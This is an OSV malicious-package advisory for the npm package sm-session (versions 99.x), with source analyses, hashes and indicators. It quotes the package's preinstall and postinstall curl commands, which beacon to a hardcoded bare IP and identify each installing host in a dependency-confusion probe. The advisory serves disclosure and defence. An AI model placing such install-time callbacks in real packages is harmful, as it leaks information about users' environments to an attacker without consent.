MAL-2026-14400

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sm-session/MAL-2026-14400.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-14400
Published
2026-08-23T19:00:27Z
Modified
2026-08-24T06:00:11.428815698Z
Summary
Malicious code in sm-session (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24)

package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s http://16.192.173.5/sm-session/post on npm install. The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.

Source: ossf-package-analysis (dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405)

The OpenSSF Package Analysis project identified 'sm-session' @ 99.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "1934167b06b4d9241c11bb22d15955d215c6879e004d270ed35b386b1a0442f6",
            "modified_time": "2026-08-24T05:06:41Z",
            "versions": [
                "99.0.1"
            ],
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-018604",
            "import_time": "2026-08-24T05:20:13.90180051Z"
        },
        {
            "id": "IN-MAL-2026-018614",
            "modified_time": "2026-08-24T05:08:06Z",
            "versions": [
                "99.0.0"
            ],
            "source": "amazon-inspector",
            "import_time": "2026-08-24T05:20:14.867174665Z",
            "sha256": "ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24"
        },
        {
            "modified_time": "2026-08-23T19:00:27Z",
            "versions": [
                "99.0.1"
            ],
            "source": "ossf-package-analysis",
            "import_time": "2026-08-24T05:47:55.120825863Z",
            "sha256": "dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405"
        }
    ]
}
References
Credits

Affected packages

npm / sm-session

Package

Name
sm-session
View open source insights on deps.dev
Purl
pkg:npm/sm-session

Affected ranges

Affected versions

99.*
99.0.0
99.0.1

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sm-session/MAL-2026-14400.json"
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "6ddf1620a54e8e36b49e80d0f397d7bffa2066c37c2dc4de92f42af0b764539a",
            "tlsh": "95d0236c3c14a7b3b9c46bb52578c316b5e01d0711615d05d7560046175de75252fb06"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha1": "d99d85a9f2d5207161449d5ed8ca6fc9dfa38c54",
                "sha512_sri": "sha512-zA1x0jshO+VaIQ1syLqIEqjcYzB0fsv8/6YPgsgRqa/rhKdI/0+ZQoJ/r0cVYsCIzFQcq/mCeG9Vkm30BIUM0w=="
            },
            "filename": "sm-session-99.0.1.tgz"
        }
    ]
}